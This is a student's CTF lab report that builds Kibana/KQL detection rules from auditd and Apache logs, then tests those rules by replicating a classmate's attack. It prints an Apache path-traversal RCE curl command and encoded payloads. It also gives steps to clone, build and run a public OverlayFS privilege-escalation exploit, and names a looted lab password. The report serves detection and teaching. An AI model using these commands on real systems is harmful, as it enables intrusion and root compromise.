# CTF Report: Unpatched Legacy Lab **Autor:** Julian Ertle **Matr.Nr.:** XXXXXX **Date:** 06.08.2026 **Challenge / CTF-Name:** Unpatched Legacy Lab --- ## Chapter Overview 1. [Part 1: Forensic Analysis & Detection Rules (Step 1 - 8)](#part-1-forensic-analysis--detection-rules-step-1---8) 2. [Part 2: Replication Report & Elastic Analysis (Cross-Solving Challenge)](#part-2-replication-report--elastic-analysis-cross-solving-challenge) 3. [Part 3: Self-Reflection on Detection Rules and Refinement Ideas](#part-3-self-reflection-on-detection-rules-and-refinement-ideas) --- # Part 1: Forensic Analysis & Detection Rules (Step 1 - 8) ## Step 1: Reconnaissance (Network Service Discovery) ### Event Analysis During the forensic audit of the SIEM index **logs-** after the auto-solve script, a search was done for evidence of the reconnaissance phase (e.g., filtering by the IP **192.168.56.1** or the user agent **Nmap**). This revealed that no log events were created during the initial scan. The first visible entry of the attacker IP **192.168.56.1** in the SIEM only appears later, when the SSH session starts in Step 6. ### Forensic Relevance Pure SYN scans or port enumerations at OSI Layer 3/4 without interaction with an active application layer leave no traces in standard application logs (such as Apache or /var/log/auth.log). Because the target system does not have a host-based network intrusion detection system, Step 1 remains a technical blind spot. Without NIDS telemetry, attacker activity only becomes visible with the first successful connection to a monitored L7 service. ## Step 2: Enumeration (Directory Brute-Force & Endpoint Probing) ### Event Analysis Before running further commands, the script performed an automated enumeration on the CGI directory to identify working endpoints and paths. The SIEM logs these sequential access attempts in the Apache access log (`fields.log_type: "apache_access"`). ![Apache Directory Enumeration](screenshots/apachelog.png) *Figure 2.1: High request density and rapid sequence of HTTP requests to /cgi-bin/ from attacker IP 192.168.56.1.* ### Log Breakdown ```k 192.168.56.1 - - [31/Jul/2026:13:11:54 +0000] "POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1" 200 7 ``` - Target Path (`/cgi-bin/`): Targeted scanning and requests to the CGI directory. - Request Density: Rapid sequence of requests between 13:11:54 and 13:12:16 UTC from the same source IP (`192.168.56.1`). - Log Source: `/usr/local/apache2/logs/access_log` (Active by default). ### Derived Detection Rule (KQL) ```k fields.log_type : "apache_access" AND message : "/cgi-bin/" ``` ## Step 3: Initial Access & Exploit Delivery (Apache Path Traversal) ### Event Analysis To gain initial access, the auto-solve script exploits the path traversal vulnerability (CVE-2021-41773 / CVE-2021-42013) in unpatched Apache HTTP Server 2.4.49. Using a crafted `POST` request, it bypasses the path validation of the CGI directory to directly invoke the system shell `/bin/sh`. The SIEM records this Layer 7 attack vector in the Apache access log (`fields.log_type: "apache_access"`). ![Apache Path Traversal Detection](screenshots/third.png) *Figure 3.1: Access log entry in Kibana showing the double URL-encoded path traversal payload and execution of /bin/sh.* ### Log Breakdown ```k 192.168.56.1 - - [31/Jul/2026:13:12:16 +0000] "POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1" 200 - ``` - Source IP (192.168.56.1): Identifies the attacker's IP address (Host system / Attacker Node). - Payload (.%%32%65): Double URL-encoded representation of the sequence ../. This bypasses Apache's path validation to escape the /cgi-bin/ directory. - Target (/bin/sh): Directly invoking the system shell to execute arbitrary commands (Remote Code Execution via HTTP POST body). - HTTP Status Code (200 OK): Confirms successful receipt and execution of the request within the web server's context. ### Derived Detection Rule (KQL) ```k fields.log_type : "apache_access" AND message : "*%%32%65*" ``` ## Step 4: Foothold Execution & Identity Verification ### Event Analysis Immediately after successfully calling the shell, the script runs the command `whoami` via `/bin/sh` to verify the user context of the gained access. While the web log only saves the HTTP request, the Linux Audit Framework (`auditd`) captures the actual process creation at the operating system level. ![Whoami](screenshots/whoami.png) *Figure 3.2: Auditd SYSCALL event for the execution of '/usr/bin/whoami' in the context of the web server user 'daemon'.* ### Log Breakdown ```k type=SYSCALL msg=audit(1785421184.154:1947): arch=c000003e syscall=59 success=yes exit=0 ppid=2070 pid=2071 auid=4294967295 uid=1 gid=1 euid=1 suid=1 fsuid=1 egid=1 sgid=1 fsgid=1 comm="whoami" exe="/usr/bin/whoami" key="process_exec" UID="daemon" GID="daemon" ``` - UID="daemon" (uid=1): Clearly identifies the unprivileged web server user context under which the code execution took place. - comm="whoami" & exe="/usr/bin/whoami": Evidence of the executed system binary used for identity verification. - syscall=59 (execve): Confirms the system call for process creation originating from the CGI context. - key="process_exec": Indicates that the custom auditd process monitoring rule was triggered, which can be found in `ctf-machine/ansible/roles/logging/tasks/main.yml`. ### Derived Detection Rule (KQL) ```k message : "key=\"process_exec\"" AND message : "whoami" AND message : "UID=\"daemon\"" ``` ## Step 5: Unauthorized Credential Looting Detection ### Event Analysis After gaining initial access, the attacker reads the file `/opt/internal_logs.py` to steal hardcoded credentials. The Linux Audit Framework detects this unauthorized read access to the script through the triggering of the configured `credential_loot` rule, which can be found under `ctf-machine/ansible/roles/logging/tasks/main.yml`. ![Auditd Credential Looting Detection](screenshots/credentialloot.png) *Figure 5.1: Auditd SYSCALL event (openat) when the script file /opt/internal_logs.py is read by user 'daemon'.* ### Log Breakdown ```k type=SYSCALL msg=audit(1785503514.837:990): arch=c000003e syscall=257 success=yes exit=3 ppid=1459 pid=1460 auid=4294967295 uid=1 gid=1 euid=1 suid=1 fsuid=1 egid=1 sgid=1 fsgid=1 comm="cat" exe="/usr/bin/cat" key="credential_loot" UID="daemon" GID="daemon" ``` - UID="daemon" (uid=1): Proof that the read access occurred from within the unprivileged context of the web server. - comm="cat" & exe="/usr/bin/cat": The system tool used to read the file. - syscall=257 (openat): The underlying kernel system call used to open the file. - key="credential_loot": Indicates that the Auditd monitoring rule for sensitive files (`-w /opt/internal_logs.py -p r -k credential_loot`) was successfully triggered. ### Derived Detection Rule (KQL) ```k message : "key=\"credential_loot\"" ``` ## Step 6: Lateral Movement (SSH Pivot to User student) ### Event Analysis The first entry of the source IP **192.168.56.1** recorded in the SIEM serves as direct forensic proof of the successful lateral movement from Step 6. After the credentials **student:P@ssw0rd123** were stolen from the local Flask service in the previous stage (Step 5), the attacker executed an SSH pivot. ![Reconnaissance Visibility Gap & SSH Discovery](screenshots/firstbig.png) Figure 6.1: First proof of the attacker IP 192.168.56.1 in the SIEM via the PAM/Auditd session log of the SSH service. ### Log Breakdown ```k type=USER_START msg=audit(1785421185.334:2101): pid=2303 uid=0 auid=1002 ses=7 subj=? msg='op=PAM:session_open grantors=pam_selinux,pam_loginuid,pam_keyinit,pam_permit,pam_umask,pam_unix,pam_systemd,pam_mail,pam_limits,pam_env,pam_env,pam_selinux acct="student" exe="/usr/sbin/sshd" hostname=192.168.56.1 addr=192.168.56.1 terminal=ssh res=success' UID="root" AUID="student" ``` * **acct="student"**: Confirms the compromised user account used for lateral access. * **exe="/usr/sbin/sshd" & res=success**: Evidence of the successful PAM session creation via the SSH daemon. * **addr=192.168.56.1**: Clear verification of the attacker's source IP. * **AUID="student" (Audit User ID = 1002)**: Permanently sets the audit subject ID to the account student for all subsequent shell processes. This is essential for correlating the subsequent privilege escalation later on. ### Derived Detection Rule (KQL) From the identified key attributes of the SSH audit log, a targeted rule can be derived to detect successful session starts for the `student` account. By combining the Auditd event type `USER_START` with the SSH daemon (`sshd`) and successful PAM authentication (`res=success`), downstream sub-events (such as `CRED_ACQ` or `USER_END`) are filtered out. This reduces noise from 28 partial events down to exactly the 5 actual login initiations. ```k message : "type=USER_START" AND message : "acct=\"student\"" AND message : "res=success" AND message : "/usr/sbin/sshd" ``` Origin & Purpose of the Parameters: - type=USER_START: Filters for the kernel event type generated specifically at the start of a new user session. - acct="student": Establishes the connection to the compromised target account. - res=success: Ensures that only successful logins (no failed attempts or brute-force attempts) are reported. - exe="/usr/sbin/sshd": Explicitly narrows the execution down to the SSH service to exclude local interactions. ## Step 7: Local Privilege Escalation Detection (OverlayFS CVE-2023-0386) ### Event Analysis After capturing the credentials, the auto-solve script uses the OverlayFS exploit (CVE-2023-0386) to perform a local privilege escalation to root. The Linux Audit Framework captures this critical privilege change in the kernel via the `priv_change` rule, which can be found in `ctf-machine/ansible/roles/logging/tasks/main.yml`. ![Auditd Privilege Escalation Detection](screenshots/privesc.png) *Figure 7.1: Auditd SYSCALL event (setuid) during the execution of the OverlayFS exploit to gain root privileges.* ### Log Breakdown ```k type=SYSCALL msg=audit(1785503533.349:1247): arch=c000003e syscall=105 success=yes exit=0 ppid=1679 pid=1680 auid=1002 uid=0 gid=1002 euid=0 suid=0 fsuid=0 egid=1002 sgid=1002 fsgid=1002 comm="file" exe="/tmp/expl_privesc_run/CVE-2023-0386/ovlcap/upper/file" key="priv_change" UID="root" EUID="root" ``` - syscall=105 (setuid) & success=yes: Confirms the successful request for root privileges at the kernel level. - exe="/tmp/expl_privesc_run/CVE-2023-0386/...": The exact path of the temporarily dropped exploit binary. - UID="root" / EUID="root": Clear proof of the acquired full administrative privileges. - key="priv_change": Indicates that the configured monitoring rule for privilege changes was triggered (`-a always,exit -F arch=b64 -S setuid -S setgid -k priv_change`). ### Derived Detection Rule (KQL) To ensure a behavior-based and path-independent detection of the privilege escalation, the rule filters at the kernel level for successful `setuid`/`setgid` calls (`success=yes`) that were initiated by the unprivileged user (`AUID="student"`) and request root privileges (`EUID="root"`). Legitimate processes such as `sudo`, `su`, or the SSH daemon (`sshd`) are explicitly excluded: ```k message : "key=\"priv_change\"" AND message : "AUID=\"student\"" AND message : "EUID=\"root\"" AND message : "success=yes" AND NOT message : "exe=\"/usr/bin/sudo\"" AND NOT message : "exe=\"/usr/bin/su\"" AND NOT message : "exe=\"/usr/sbin/sshd\"" ``` **Origin & Purpose of the Parameters:** * `key="priv_change"`: Auditd monitoring key for privilege changes. * `AUID="student"`: Guarantees that the action originated from the compromised user account. * `EUID="root"` & `success=yes`: Proves the successful switch to root privileges. * `AND NOT message : "exe=..."`: Excludes administrative system tools (`sudo`, `su`) and the SSH service to prevent false positives. ### Supplementary Analysis: Dynamic Repository Cloning & On-Host Compilation A deeper analysis of the process creation shows that the script does not find the required exploit source code for CVE-2023-0386 on the system, but instead downloads it dynamically and compiles it locally. The Linux Audit Framework records these preparation steps completely via the auditd rule `process_exec`. #### 1. Outbound Repository Cloning (`git`) The auditd log captures the initiation of the Git download in the context of user `student`: ```k type=SYSCALL msg=audit(1785511061.239:1822): arch=c000003e syscall=59 success=yes exit=0 a0=56211085f950 a1=56211085e7a8 a2=56211085f370 a3=8 items=2 ppid=2094 pid=2102 auid=1002 uid=1002 gid=1002 euid=1002 suid=1002 fsuid=1002 egid=1002 sgid=1002 fsgid=1002 tty=(none) ses=15 comm="git" exe="/usr/lib/git-core/git" key="process_exec" ARCH=x86_64 SYSCALL=execve AUID="student" UID="student" GID="student" EUID="student" ``` - comm="git" & exe="/usr/lib/git-core/git": Proof of execution of the version control tool to fetch external repositories. - syscall=59 (execve): Kernel system call for process creation related to the outbound download. - AUID="student" / UID="student": Confirms that the process was started from the user account compromised via SSH. ### Derived Detection Rule (KQL) ```k fields.log_type : "audit" AND message : "git" AND message : "clone" ``` ### Supplementary Analysis: Exploit Initialization & FUSE Process Execution Before the actual privilege escalation, the script runs the FUSE binary in the temporary working directory to set up the prerequisites for the OverlayFS exploit. The Linux Audit Framework records this process execution via the `process_exec` rule. ```k type=SYSCALL msg=audit(1785503517.149:1191): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe2f90dd86 a1=7ffe2f90d010 a2=7ffe2f90d030 a3=8 items=2 ppid=1576 pid=1615 auid=1002 uid=1002 gid=1002 euid=1002 suid=1002 fsuid=1002 egid=1002 sgid=1002 fsgid=1002 tty=(none) ses=5 comm="fuse" exe="/tmp/expl_privesc_run/CVE-2023-0386/fuse" subj=? key="process_exec" ARCH=x86_64 SYSCALL=execve AUID="student" UID="student" GID="student" EUID="student" SUID="student" FSUID="student" EGID="student" SGID="student" FSGID="student" ``` - comm="fuse" & exe="/tmp/expl_privesc_run/.../fuse": Proof of execution of the custom FUSE filesystem. - syscall=59 (execve): Confirms the execution of the exploit helper binary in the context of user `student`. ### Derived Detection Rule (KQL) ```k message : "key=\"process_exec\"" AND message : "fuse" ``` ## Step 8: Flag Exfiltration Detection & Impact Analysis ### Event Analysis After successful privilege escalation, the script accesses the final flag file `/tmp/root_flag.txt`. The Linux Audit Framework completely captures this critical read access via the configured monitoring rule `flag_read`, which can be found under `ctf-machine/ansible/roles/logging/tasks/main.yml`. ![Auditd Flag Read Detection](screenshots/readflag.png) *Figure 8.1: Auditd SYSCALL event when reading the target file /tmp/root_flag.txt.* ### Log Breakdown ```k type=SYSCALL msg=audit(1785503535.721:1324): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffdc5161e06 a2=0 a3=0 items=1 ppid=1735 pid=1736 auid=1002 uid=1002 gid=1002 euid=1002 suid=1002 fsuid=1002 egid=1002 sgid=1002 fsgid=1002 tty=(none) ses=6 comm="cat" exe="/usr/bin/cat" subj=? key="flag_read" ARCH=x86_64 SYSCALL=openat AUID="student" UID="student" GID="student" EUID="student" SUID="student" FSUID="student" EGID="student" SGID="student" FSGID="student" ``` - comm="cat" & exe="/usr/bin/cat": Clearly identifies the execution of the shell command `cat` to read the flag. - syscall=257 (openat) & success=yes: Confirms the successful opening and reading of the file at the kernel level. - key="flag_read": Proof that the specific Auditd rule (`-w /tmp/root_flag.txt -p r -k flag_read`) was triggered. - AUID="student" / UID="student": Shows the executing user context during access to the generated flag file. ### Derived Detection Rule (KQL) ```k message : "key=\"flag_read\"" ``` # Part 2: Replication Report & Elastic Analysis (Cross-Solving Challenge) **Replicator:** Julian Ertle **Original Solver:** Jonas Wolfgang Jastroch **Target System:** Unpatched-Legacy-Lab (`192.168.56.101`) **Status:** Partially successful (Initial Access **OK**, Privilege Escalation **Failed**) --- ## 1. Overview & Results | Phase | Vulnerability / Method | Writeup Result (Jonas) | Replication (Julian) | Cause of Deviation | | :--- | :--- | :--- | :--- | :--- | | **Recon & Web** | Path Traversal / RCE | Apache 2.4.49 identified | **Successful** | Identical server builds | | **Initial Access** | CVE-2021-41773 | RCE & Reverse Shell as `daemon` | **Successful** | Flawless RCE execution | | **Privilege Escalation** | CVE-2023-0386 (OverlayFS) | Root shell via `./exp` | **Failed** | FUSE UID mapping (`nobody` instead of `root`) | --- ## 2. Detailed Replication & Deviation Analysis ### Phase 1: Reconnaissance & Initial Access (CVE-2021-41773) * **Procedure in Writeup:** Exploiting the path traversal bug in Apache 2.4.49 via the `/cgi-bin/` folder to invoke `/bin/sh` with RCE. * **Replication:** The command was reproduced 1:1: ```bash curl --path-as-is -d "echo Content-Type: text/plain; echo; id; uname -a" "[http://192.168.56.101/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh](http://192.168.56.101/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh)" ``` - Result: Successful foothold. Reverse shell to the listener as user daemon was established. ### Phase 2: Privilege Escalation (CVE-2023-0386) - Procedure in Writeup: Jonas cloned the repository CVE-2023-0386, compiled the binaries (make all), started FUSE via ./fuse ./ovlcap/lower ./gc &, and executed the exploit ./exp. - Replication & Execution Log: ```bash cd /dev/shm git clone https://github.com/puckiestyle/CVE-2023-0386 cd CVE-2023-0386 make all ./fuse ./ovlcap/lower ./gc & ./exp ``` - Error message during replication: ``` -rwsrwxrwx 1 nobody nogroup 16096 Jan 1 1970 file [+] exploit success! setuid: Operation not permitted ``` ## 3. Root Cause Analysis of the Deviation The privilege escalation failed during replication due to two main reasons: ### 1. File Ownership Conflict in FUSE (`nobody` vs. `root`) * **Jonas' Environment:** Jonas transferred the repository as a pre-packaged archive from an external Kali Linux VM (packed as `root`), causing FUSE to virtually map the generated SUID file to **`UID 0` (`root`)**. * **Replication Environment:** When directly cloning/extracting within the context of the unprivileged user `daemon` on the target machine, the FUSE module created the binary in the virtual filesystem with ownership set to **`nobody:nogroup` (`UID 65534`)**. * **Consequence:** Copying via the kernel bug resulted in a SUID-nobody binary. The kernel denied calling `setuid(0)` (`Operation not permitted`) because the user `nobody` is not allowed to switch UID to 0. ### 2. Mountpoint Blockades During Re-Runs * After interrupted attempts, FUSE and OverlayFS processes remained active in the kernel (`Transport endpoint is not connected` & `fuse: mountpoint is not empty`). Subsequent executions failed without explicitly running `umount -l`. --- ## 4. Conclusion & Flags * **User Flag (`/home/student/user.txt`):** Not readable because `/home/student` is restricted for `daemon`. * **Root Flag (`/root/root.txt`):** Not readable because the privilege escalation failed due to the environment and permission configuration during the FUSE mount. * **Conclusion:** The initial access is reproducible exactly as described. The privilege escalation via CVE-2023-0386 is highly dependent on the execution context and file ownership within the FUSE layer. # Elastic Analysis from the Cross-Solving Replication ## Step 1: Reconnaissance & Visibility Gap Analysis ### Event Analysis Following the replication of the cross-solving report, the SIEM index `logs-*` was audited for artifacts from the reconnaissance phase (e.g., IP filtering for `192.168.56.1` or User-Agent filtering for `Nmap`). As noted in the original report, no log events were generated in the SIEM during the initial Nmap scan of ports 21 (FTP), 22 (SSH), and 80 (HTTP). ### Forensic Relevance (Visibility Gap Justification) Pure SYN scans on OSI layers 3/4 without interacting with an active application layer leave no traces in standard application logs (such as Apache access logs or `/var/log/auth.log`). Since the target system is not equipped with a host-based or network intrusion detection system, Step 1 remains a technical blind spot. --- ## Step 2: Web Endpoint Probing & Directory Access ### Event Analysis Prior to executing the reverse shell, the `curl` call sent requests to the CGI directory to verify the accessibility of the shell interface. The SIEM logs these access events in the Apache access log (`fields.log_type: "apache_access"`). ![Apache Access Log Entry](screenshots/initialaccess1.png) *Figure 2.1: Kibana Discover log entry of the successful POST request (Status 200) to /cgi-bin/ with path traversal payload from source IP 192.168.56.1.* ### Log Breakdown ```k 192.168.56.1 - - [05/Aug/2026:12:07:36 +0000] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 200 - ``` --- ## Step 3: Initial Access & Exploit Delivery (Apache Path Traversal) ### Verification of Existing Detection Rule - Rule: ```k fields.log_type : "apache_access" AND message : "*%%32%65*" ``` - Replication Result: Triggered no alert (Deviation in Payload) - Root Cause & Analysis: The rule specifically filters for the double URL-encoded syntax (.%%32%65). However, during the manual replication run, the request was sent using the single URL-encoded syntax (.%2e): ```k 192.168.56.1 - - [05/Aug/2026:12:07:36 +0000] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 200 - ``` Because the log contains the string .%2e instead of %%32%65, the rule does not trigger during this replication. * **Improved Detection Rule:** To robustly capture both single and double URL-encoded variants (as well as case-insensitive variations), the filter should be expanded with a wildcard condition or an OR operator: ```k fields.log_type : "apache_access" AND (message : "*%2e*" OR message : "*%32%65*") ## Step 4: Foothold Execution & Identity Verification (Kernel Level) ### Evaluation of the Existing Detection Rule * **Existing KQL Rule:** ```k message : "key=\"process_exec\"" AND message : "whoami" AND message : "UID=\"daemon\"" ``` - Test result in replication run: Successfully triggered (Exactly 1 hit) - Verified event (Auditd Log Breakdown): ![Apache Access Log Entry](screenshots/footholdverification.png) *Figure 4.1: Kibana Discover tab shows exactly 1 hit for the verified execution of /usr/bin/whoami under the user daemon.* ```k type=SYSCALL msg=audit(1785932461.383:1533): arch=c000003e syscall=59 success=yes exit=0 a0=55d6e3a65950 a1=55d6e3a66230 a2=55d6e3a2e9a0 a3=8 items=2 ppid=1993 pid=1995 auid=4294967295 uid=1 gid=1 euid=1 suid=1 fsuid=1 egid=1 sgid=1 fsgid=1 tty=pts0 ses=4294967295 comm="whoami" exe="/usr/bin/whoami" subj=? key="process_exec" ARCH=x86_64 SYSCALL=execve AUID="unset" UID="daemon" GID="daemon" EUID="daemon" SUID="daemon" FSUID="daemon" EGID="daemon" SGID="daemon" FSGID="daemon" ``` * **Evaluation:** The rule triggers (exactly **1 hit** in Kibana). This proves the execution of `/usr/bin/whoami` via `execve` (syscall 59) as `daemon` (`key="process_exec"`). ## Step 5: Credential Looting Detection ### Evaluation of the Existing Detection Rule * **Existing KQL Rule:** ```k message : "key=\"credential_loot\"" ``` - Test result in replication run: Successfully triggered (6 hits) - Verified event (Auditd Log Breakdown): ```k type=SYSCALL msg=audit(1785929462.245:332): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7f0177064250 a2=0 a3=0 items=1 ppid=1 pid=742 auid=4294967295 uid=65534 gid=65534 euid=65534 suid=65534 fsuid=65534 egid=65534 sgid=65534 fsgid=65534 tty=(none) ses=4294967295 comm="python3" exe="/usr/bin/python3.10" subj=? key="credential_loot" ARCH=x86_64 SYSCALL=openat AUID="unset" UID="nobody" GID="nogroup" EUID="nobody" SUID="nobody" FSUID="nobody" EGID="nogroup" SGID="nogroup" FSGID="nogroup" ``` ![Apache Access Log Entry](screenshots/credentialloot1.png) *Figure 5.1: Kibana Discover tab shows the Auditd rule key="credential_loot" triggering on a SYSCALL openat (257).* - Evaluation: The rule triggers as intended. It logs the successful file access via syscall=257 (openat) to the Auditd-monitored file under the monitoring key key="credential_loot". ## Step 6: Lateral Movement (SSH Pivot to User student) ### Evaluation of the Existing Detection Rule * **Existing KQL Rule:** ```k message : "type=USER_START" AND message : "acct=\"student\"" AND message : "res=success" AND message : "/usr/sbin/sshd" ``` - Test result in replication run: Not triggered (0 results) - Forensic Evaluation: The absence of hits is a correct negative result of the replication. In contrast to the original writeup, which involved an SSH pivot to the user student, all actions in the replication remained within the interactive reverse shell under the user daemon. Because no SSH session was initiated, the SSH daemon (sshd) did not generate a USER_START event in the audit log. ## Step 7: Local Privilege Escalation Detection (OverlayFS CVE-2023-0386) ### Supplementary Analysis: Dynamic Repository Cloning (`git clone`) ### Evaluation of the Existing Detection Rule - **Existing KQL Rule:** ```k fields.log_type : "audit" AND message : "git" AND message : "clone" ``` - Test result in replication run: Successfully triggered - Verified event (Auditd Log Breakdown): ```k type=EXECVE msg=audit(1785932240.763:1413): argc=4 a0="git" a1="clone" a2="https://github.com/puckiestyle/CVE-2023-0386" a3="cve_run" ``` ![Apache Access Log Entry](screenshots/gitclone1.png) *Figure 7.1: Auditd EXECVE event in the Kibana Discover tab confirms the execution of git clone to download the CVE-2023-0386 exploit source code.* - Evaluation: The rule triggers as intended. It captures the dynamic downloading of the exploit repository via git clone from GitHub onto the target system in the audit log. ### Supplementary Analysis: Exploit Initialization & FUSE Process Execution ### Evaluation of the Existing Detection Rule * **Existing KQL Rule:** ```k message : "key=\"process_exec\"" AND message : "fuse" ``` - Test result in replication run: Successfully triggered - Verified event (Auditd Log Breakdown): ```k type=SYSCALL msg=audit(1785932447.355:1516): arch=c000003e syscall=59 success=yes exit=0 a0=5594d70b32d0 a1=5594d70b3950 a2=5594d70b33e0 a3=8 items=1 ppid=1877 pid=1975 auid=4294967295 uid=1 gid=1 euid=1 suid=1 fsuid=1 egid=1 sgid=1 fsgid=1 tty=pts0 ses=4294967295 comm="fuse" exe="/dev/shm/cve_run/fuse" subj=? key="process_exec" ARCH=x86_64 SYSCALL=execve AUID="unset" UID="daemon" GID="daemon" EUID="daemon" SUID="daemon" FSUID="daemon" EGID="daemon" SGID="daemon" FSGID="daemon" ``` ![Apache Access Log Entry](screenshots/Fuse1.png) *Figure 7.2: Auditd SYSCALL event in the Kibana Discover tab confirms the execution of the FUSE binary as part of the exploit preparation.* - Evaluation: The rule triggers as intended. It logs the creation of the FUSE process (exe="/dev/shm/cve_run/fuse") via execve (syscall 59) within the context of the user daemon under the monitoring key key="process_exec". ### SUID Privilege Escalation Attempt (OverlayFS Exploit Execution) ### Evaluation of the Existing Detection Rule * **Existing KQL Rule:** ```k message : "key=\"priv_change\"" AND message : "AUID=\"student\"" AND message : "EUID=\"root\"" AND message : "success=yes" AND NOT message : "exe=\"/usr/bin/sudo\"" AND NOT message : "exe=\"/usr/bin/su\"" AND NOT message : "exe=\"/usr/sbin/sshd\""``` - Test result in replication run: Not triggered (0 results) - Forensic Evaluation: The strictly defined rule did not trigger an alert for two reasons: 1. Context Deviation: Execution did not occur via the SSH user student (AUID="student"), but from the reverse shell of the web server service (UID="daemon"). 2. Exploit Failure: The rule strictly requires success=yes. Due to the FUSE ownership conflict (nobody:nogroup), the kernel denied privilege escalation with Operation not permitted. In the audit log, the call to setuid (syscall=105) was therefore logged with success=no. #### Evaluation of the Relaxed Detection Rule - Adjusted KQL Rule: ```k message : "key=\"priv_change\"" AND message : "comm=\"file\"" ``` - Test result in replication run: Successfully triggered (6 hits) - Verified event in SIEM (Auditd Log Breakdown): ```k type=SYSCALL msg=audit(1785932467.147:1535): arch=c000003e syscall=105 success=no exit=-1 a0=0 a1=7fffa90931b8 a2=7fffa90931c8 a3=7f43ce267908 items=0 ppid=1993 pid=1996 auid=4294967295 uid=1 gid=1 euid=1 suid=1 fsuid=1 egid=1 sgid=1 fsgid=1 tty=pts0 ses=4294967295 comm="file" exe="/dev/shm/cve_run/ovlcap/upper/file" subj=? key="priv_change" ARCH=x86_64 SYSCALL=setuid AUID="unset" UID="daemon" GID="daemon" EUID="daemon" SUID="daemon" FSUID="daemon" EGID="daemon" SGID="daemon" FSGID="daemon" ``` ![Apache Access Log Entry](screenshots/privchange1.png) *Figure 7.3: Kibana Discover tab shows the relaxed Auditd rule triggering on the binary comm="file" during a failed privilege escalation attempt (syscall=105, success=no).* - Evaluation: By removing the restrictive filters (AUID="student" and success=yes), the rule reliably captures the exploit binary comm="file". The log entry proves at the kernel level the attempt to gain elevated privileges via setuid (syscall=105) under the user ID daemon. ## Step 8: Flag Exfiltration Detection (Target Access & Data Exfiltration) ### Evaluation of the Existing Detection Rule * **Existing KQL Rule:** ```k message : "key=\"flag_read\"" OR message : "*proof.txt*" OR message : "*flag.txt*" ``` - Test result in replication run: Not triggered (0 results / Not reached) - **Evaluation**: The absence of log hits is a correct result for the replication run. Because the privilege escalation phase in Step 7 failed due to the FUSE ownership conflict, root privileges could not be obtained. The final exfiltration phase (reading and exfiltrating protected files such as proof.txt or flag.txt) was therefore not reached during the replication run and logically generated no Auditd or system events. # Part 3: Self-Reflection on Detection Rules and Refinement Ideas The comparison between the original attack, the replication, and the SIEM evaluation reveals key insights into the robustness of the created KQL detection rules. Some rules were too rigid and were bypassed by minor variations in the attack sequence (false negatives). ## 1. Signature-Based Weaknesses vs. Normalization (Apache RCE) * **Insight:** The initial web exploit rule checked rigidly for the double URL-encoded payload `%%32%65`. Because single encoding `.%2e` was used during replication, the rule failed to trigger. * **Refinement Idea:** * SIEM-side Normalization: HTTP requests should be URL-decoded by the SIEM before indexing. * Pattern Matching: Instead of rigid strings, generic regex patterns for path traversal (e.g., `(\.\.+[/\\]+)`) should be applied. ## 2. Overly Restrictive Filter Conditions (PrivEsc) * **Insight:** Privilege escalation detection failed to trigger during replication because it was bound to the `student` account (`AUID="student"`) and a successful outcome (`success=yes`). Because the attack originated from the `daemon` context and failed due to the FUSE error (`success=no`), the event remained invisible. * **Refinement Idea:** * **Focus on Attempts:** Failed privilege escalation attempts (`success=no`) are also critical security incidents and must trigger alerts. * **Context Independence:** Remove dependencies on specific user IDs. A `setuid` call (Syscall 105) by unusual binaries (such as `comm="file"`) is always highly suspicious, regardless of whether it is initiated by `student` or `daemon`. ## 3. Blind Spots in Alternative Attack Paths (Lateral Movement) * **Insight:** The SSH pivot rule worked as intended technically, but failed to trigger during replication because the attacker remained within the RCE shell (user `daemon`). * **Refinement Idea:** * Detections must not rely on a single anticipated exploit path. Rather than monitoring only SSH logins, Auditd should generally track the spawning of interactive shells (`/bin/bash`, `/bin/sh`) by service accounts (`daemon`, `www-data`) through behavioral analytics. ## 4. Strength of Behavioral Detection (Auditd Execve/Openat) * **Insight:** Broadly designed behavioral rules (`key="process_exec"`, `git clone`, `fuse`) proved to be extremely resilient. They reliably detected the attacker's preparatory actions, even when the main exploit failed. * **Refinement Idea:** * Expand Behavioral Rules: Trigger alerts on unusual outbound connections (such as `git clone`, `wget`, `curl`) originating from directories like `/tmp` or `/dev/shm`. * Implement Comprehensive File Integrity Monitoring (FIM): Monitor sensitive files regardless of which process attempts to access them. ## Conclusion KQL rules must evolve from an Indicator of Compromise detection paradigm (rigid IPs, specific payloads, exact users) toward an Indicator of Attack framework (anomalous process hierarchies, unexpected syscalls, critical file operations) to remain effective against modified scripts and zero-day threats.